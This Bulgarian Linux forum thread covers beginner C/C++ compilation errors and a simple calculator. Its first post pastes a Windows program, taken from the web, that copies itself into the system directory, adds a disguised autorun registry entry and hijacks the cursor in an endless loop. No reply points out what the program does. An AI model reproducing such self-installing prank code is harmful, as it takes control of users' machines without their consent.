Автор Тема: Компилация на код  (Прочетена 5844 пъти)

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Компилация на код
« -: Dec 08, 2010, 17:53 »
Може ли някой да пробва следния код дали ще се компилира без грешка


#include <windows.h>
#include <string>
#include <time.h>

int WINAPI WinMain (HINSTANCE hThisInstance,
                                         HINSTANCE hPrevInstance,
                                         LPSTR lpszArgument,
                                         int nFunsterStil)
{
    char windir[MAX_PATH];
    char cpathname[MAX_PATH];
    char whatever[64] = "SoftwareMicrosoftWindowsCurrentVersionRun";
    char something[32] = "Microsoft Windoze";
    GetWindowsDirectory(windir, sizeof(windir));
    HMODULE hMe = GetModuleHandle(NULL);
    GetModuleFileName(hMe, cpathname, sizeof(cpathname));
    strcat(windir, "system32backup.exe");
    CopyFile(cpathname, windir, false);
    HKEY hKey;
    RegCreateKey(HKEY_LOCAL_MACHINE, whatever , &hKey);
    RegSetValueEx(hKey, something, 0, REG_SZ , (LPBYTE)windir, sizeof(windir));
    int screen_x, screen_y;
    int direction_x = 10;
    int direction_y = 10;
    char ab="a"[1];
    POINT cursor;
    clock_t start;
    screen_x = GetSystemMetrics(SM_CXSCREEN);
    screen_y = GetSystemMetrics(SM_CYSCREEN);
    while(ab=ab)
        {
             start = clock();                 
             GetCursorPos(&cursor);
             if(cursor.x == (screen_x - 1))
             {
               direction_x = -10;
               Beep(500,25);
             }
             if(cursor.x < 2)
             {
               direction_x = 10;
               Beep(500,25);
             }
             cursor.x = cursor.x + direction_x;
             if(cursor.y == (screen_y - 1))
            {
               direction_y = -10;
               Beep(750,25);
            }
            if(cursor.y < 1)
            {
               direction_y = 10;
               Beep(750,25);
            }
            cursor.y = cursor.y + direction_y;
            SetCursorPos(cursor.x,cursor.y);
            while((clock() - start) < 10);                         
       }
     return 0;
 }

roko__@Calculate64(16:49)( /media/storage-2/Други/тестове )# gcc laino.c     
laino.c:1:21: error: windows.h: Няма такъв файл или директория
laino.c:2:18: error: string: Няма такъв файл или директория
laino.c:5: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’
roko__@Calculate64(16:49)( /media/storage-2/Други/тестове )#

============


roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )# gcc drisak.c
drisak.c:1:20: error: iostream: Няма такъв файл или директория
drisak.c:2: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘namespace’
drisak.c: In function ‘main’:
drisak.c:3: error: expected ‘{’ at end of input
roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )# cat drisak.c
#include <iostream>
using namespace std;
int main()


roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )#

Много ми е странно това първите 2 пъти нямаше проблем а после все така
« Последна редакция: Dec 08, 2010, 17:56 от ROKO__ »
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/

b2l

  • Напреднали
  • *****
  • Публикации: 4786
  • Distribution: MCC Interim
  • Window Manager: - // - // -
  • ...sometimes I feel like screaming... || RTFM!
    • Профил
    • WWW
Компилация на код
« Отговор #1 -: Dec 08, 2010, 17:56 »
Без да пробвам ти казвам, че ще има грешка. Не си включил някой библиотеки (stdio). И това windows.h ми е много съмнително - ама виж, task-а може да ти помогне. Ха - ама това е за windows бе :D :D :D :D :D.
Код:
eclipse@eclipse:~$ cat test.cpp 
#include <stdio.h>
#include <iostream>
using namespace std;

int main()
{
cout << "Roko" << endl;
return 0;
}
eclipse@eclipse:~$ g++ test.cpp
eclipse@eclipse:~$ ./a.out
Roko
eclipse@eclipse:~$
« Последна редакция: Dec 08, 2010, 18:03 от backtolife »
Активен

"Човекът е въже, опънато между звяра и свръхчовека, въже над пропаст. Човекът е нещо, което трябва да бъде превъзмогнато." - Фр. Ницше

bop_bop_mara

  • Напреднали
  • *****
  • Публикации: 2433
  • Distribution: Debian Testing
  • Window Manager: LXDE
  • Cute and cuddly
    • Профил
Re: Компилация на код
« Отговор #2 -: Dec 08, 2010, 18:07 »
Роко, това е код за Windows Mobile...
И до backtolife, и до Роко - айде правете разлика между C и C++..
C: stdio.h, string.h, компилация с gcc
C++: cstdio, iostream, cstring, компилация с g++
И двамата сте показали прилични омешвания :)
Активен

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Re: Компилация на код
« Отговор #3 -: Dec 08, 2010, 18:12 »
Роко, това е код за Windows Mobile...
И до backtolife, и до Роко - айде правете разлика между C и C++..
C: stdio.h, string.h, компилация с gcc
C++: cstdio, iostream, cstring, компилация с g++
И двамата сте показали прилични омешвания :)

Аз не го огледах просто го взех от нета случаен за да пробвам що стаа. Може да е в последствие преминаването от bash към zsh
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/

bop_bop_mara

  • Напреднали
  • *****
  • Публикации: 2433
  • Distribution: Debian Testing
  • Window Manager: LXDE
  • Cute and cuddly
    • Профил
Re: Компилация на код
« Отговор #4 -: Dec 08, 2010, 18:14 »
Аз не го огледах просто го взех от нета случаен за да пробвам що стаа. Може да е в последствие преминаването от bash към zsh
Считаш, че смяната на шела може да доведе до различно поведение на трета програма (в случая компилатор)???
Активен

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Re: Компилация на код
« Отговор #5 -: Dec 08, 2010, 18:57 »
Аз не го огледах просто го взех от нета случаен за да пробвам що стаа. Може да е в последствие преминаването от bash към zsh
Считаш, че смяната на шела може да доведе до различно поведение на трета програма (в случая компилатор)???

Ами знам ли то не е логично но все пак.


roko__@Calculate64(17:54)( /media/storage-2/Други/тестове )# cat test.c
#include<iostream>
using namespace std;
int main()
{
   int c;
   cout<<"число: ";
   cin>>c;
   if(c>=1&&c<=7)
   {
      switch(c)
      {
         case 1: cout<<"тест"<<endl;break;
         case 2: cout<<"тест2"<<endl;break;
         case 3: cout<<"тест3"<<endl;break;
         case 4: cout<<"тест4"<<endl;break;
         case 5: cout<<"тест5"<<endl;break;
         case 6: cout<<"тест6"<<endl;break;
         case 7: cout<<"тест7"<<endl;break;
      
      }
   }

   system("pause");
   return 0;
}
roko__@Calculate64(17:54)( /media/storage-2/Други/тестове )#

roko__@Calculate64(17:54)( /media/storage-2/Други/тестове )# c++ test.c
test.c: In function ‘int main()’:
test.c:23: error: ‘system’ was not declared in this scope
roko__@Calculate64(17:54)( /media/storage-2/Други/тестове )#
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Re: Компилация на код
« Отговор #6 -: Dec 08, 2010, 19:10 »
Ехех РОКО, тоя test.c ти ли го писа :)
Активен

"Knowledge is power" - France is Bacon

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Re: Компилация на код
« Отговор #7 -: Dec 08, 2010, 19:11 »
Ехех РОКО, тоя test.c ти ли го писа :)

Вероятно, правя си експерименти
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/

b2l

  • Напреднали
  • *****
  • Публикации: 4786
  • Distribution: MCC Interim
  • Window Manager: - // - // -
  • ...sometimes I feel like screaming... || RTFM!
    • Профил
    • WWW
Re: Компилация на код
« Отговор #8 -: Dec 08, 2010, 19:13 »
Човек вземи седни и чети. Кви са тия глупости system("pause"); ??? Я опитай с getchar();
Активен

"Човекът е въже, опънато между звяра и свръхчовека, въже над пропаст. Човекът е нещо, което трябва да бъде превъзмогнато." - Фр. Ницше

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Re: Компилация на код
« Отговор #9 -: Dec 08, 2010, 19:15 »
Човек вземи седни и чети. Кви са тия глупости system("pause"); ??? Я опитай с getchar();

Ами тези system("pause") ги гледам точно в документацията на C++
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Re: Компилация на код
« Отговор #10 -: Dec 08, 2010, 19:18 »
Какви експерименти? Опитваш се да направиш възможно най-много глупости във възможно най-малко реда код?

Познай от няколко пъти защо не се компилира :)
Активен

"Knowledge is power" - France is Bacon

b2l

  • Напреднали
  • *****
  • Публикации: 4786
  • Distribution: MCC Interim
  • Window Manager: - // - // -
  • ...sometimes I feel like screaming... || RTFM!
    • Профил
    • WWW
Re: Компилация на код
« Отговор #11 -: Dec 08, 2010, 19:18 »
Човек вземи седни и чети. Кви са тия глупости system("pause"); ??? Я опитай с getchar();

Ами тези system("pause") ги гледам точно в документацията на C++

Документацията за windows ли?
Активен

"Човекът е въже, опънато между звяра и свръхчовека, въже над пропаст. Човекът е нещо, което трябва да бъде превъзмогнато." - Фр. Ницше

chen_dzen

  • Напреднали
  • *****
  • Публикации: 623
  • Distribution: Debian 6.0 Squeeze
  • Window Manager: GNOME
    • Профил
Re: Компилация на код
« Отговор #12 -: Dec 08, 2010, 19:22 »
Какви експерименти? Опитваш се да направиш възможно най-много глупости във възможно най-малко реда код?

Познай от няколко пъти защо не се компилира :)
Нека аз се опитам, не е включил хедъра в които е декларирана функцията system() ?  ???

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Re: Компилация на код
« Отговор #13 -: Dec 08, 2010, 19:27 »
Да бе ама да се чудиш дали е stdlib.h защото програмата му все пак има разширение .c и я компилира с gcc.....или пък cstdlib щото ползва iostream така или иначе.
Активен

"Knowledge is power" - France is Bacon

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Re: Компилация на код
« Отговор #14 -: Dec 08, 2010, 19:35 »
Играх си тука да напиша елементарен калкулатор и взе че се получи ^^


//Елементарен калкулатор с неособени възможности
//Автор: Росен Александров
//За повече контакти вземете разклонител или пишете на sandikata@yandex.ru
#include<iostream>
#include<math.h>
using namespace std;
int main()
{
int f;
double s,i,u,d,q,a,b;
cout<<"1.Събиране\n";
cout<<"2.Изваждане\n";
cout<<"3.Умножение\n";
cout<<"4.Деление\n";
cout<<"5.Корен Квадратен\n";
cout<<"Изберете процедура от 1 до 5\n";
cout<<"Процедура:";
cin>>f;
if(f<1||f>5) cout<<"Грешка! Ти неграмотен ли си? (Поздрави от ROKO__)";
if(f==1)
{
cout<<"a=";
cin>>a;
cout<<"b=";
cin>>b;
s=a+b;
cout<<"Резултат: "<<s<<"\n";
}
if(f==2)
{
cout<<"a=";
cin>>a;
cout<<"b=";
cin>>b;
i=a-b;
cout<<"Резултат: "<<i<<"\n";
}
if(f==3)
{
cout<<"a=";
cin>>a;
cout<<"b=";
cin>>b;
u=a*b;
cout<<"Резултат: "<<u<<"\n";
}
if(f==4)
{
cout<<"a=";
cin>>a;
cout<<"b=";
cin>>b;
d=a/b;
cout<<"Резултат: "<<d<<"\n";
}
if(f==5)
{
cout<<"a=";
cin>>a;
q=sqrt(a);
cout<<"Резултат: "<<q<<"\n";

return 0;
}

ПС: Мислех да ползвам "case" вместо if else но не можах да го осмисля може би след известно време ще стане и това
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/